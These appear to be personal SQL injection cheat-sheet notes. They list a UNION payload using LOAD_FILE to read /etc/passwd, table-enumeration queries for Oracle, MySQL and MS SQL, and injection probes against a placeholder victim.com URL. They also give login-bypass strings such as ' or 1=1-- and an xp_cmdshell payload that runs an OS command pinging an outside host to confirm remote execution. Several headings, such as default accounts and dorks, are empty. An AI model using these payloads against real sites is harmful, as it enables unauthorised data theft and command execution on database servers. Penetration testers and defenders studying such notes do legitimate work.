SQL Injection

##################################################### ## == SQL Injection: Attack & Defence Notes == ## #####################################################

Oracle Special Characters

Space -

|| - , - . - */ - ' - " -

SQL commands

LOAD_FILE -- reads a file returns its contains as a string.

Ex: 1 UNION ALL SELECT LOAD_FILE('/etc/passwd')

TIp:

Can write out to a file with SQL:

Database (mis)(default)configuration

MicroSoft SQL:

default accts:

MySQL:

default accts:

Oracle:

default accts:

NB: - There are lots more, and sometimes default passwords.

Accessing Views Examples

-- Oracle statement to enumerate all accessible tables for current user: SELECT OWNER, TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME; -- MySQL statement to enumerate all accessible tables and databases for -- the current user: SELECT table_schema, table_name FROM information_schema.tables; -- MS SQL statement to enumerate all accessible tables using the system -- tables: SELECT name FROM sysobjects WHERE xtype = 'U'; -- MS SQL statement to enumerate all accessible tables using the catalog -- views: SELECT name FROM sys.tables;

NB: - Not passible to hide or revoke access to INFORMATION_SCHEMA

virtual database within MySQL.

BP: - Do it least privilege via the application, seprate privileged

roles and functions.

Testing by Inference

Rules: Things you know, find out:

  1. You identify all the data entry on the Web application.
  2. You know what kind of request might trigger anomalies.
  3. You detect anomalies in the response from the server.

Inputs to a Server:

Show that Server probably has SQLi vuln

Try these! If the two requests act the same, could be a vuln. For MS-SQL and Oracle: http://www.victim.com/showproducts.php?category=bikes http://www.victim.com/showproducts.php?category=bi'+'kes For MySQL: http://www.victim.com/showproducts.php?category=bikes http://www.victim.com/showproducts.php?category=bi' 'kes

## READ THIS for Error Results ##

When DB Error Happens

Results from script logic and Web server receiving an db error: One of 5 things:

  1. The SQL error is displayed on the page and is visible to the user from the Web browser.
  2. The SQL error is hidden in the SOURCE of the Webpage for debugging purposes.
  3. REDIRECTION to another page is used when an error is detected.
  4. An HTTP error code 500 (Internal Server Error) or HTTP redirection code 302 is returned.
  5. The application handles the error properly and simply shows no results, perhaps displaying a generic error page.

## End of Error Results ## NB: (quote) Ability to identify the remote database is paramount to

successfully progressing the attack and moving on to further exploitation. (/quote)

####################################################### ## More Random Info about SQLi ## #######################################################

GoogleDorks for SQLi's

Search google for these SQL Injection Vulnerable Dorks:

Things to try at Form prompts

' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a

Remote execution with SQL injection

'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Try using double quote (") if single quote (') is not working.
The semi-colon ends the last SQL query and starts a new one. Setup a server at 10.10.1.2 and check if it receives a ICMP packet:
  1. tcpdump icmp
If no ping, administrator has limited Web User access to these stored procedures.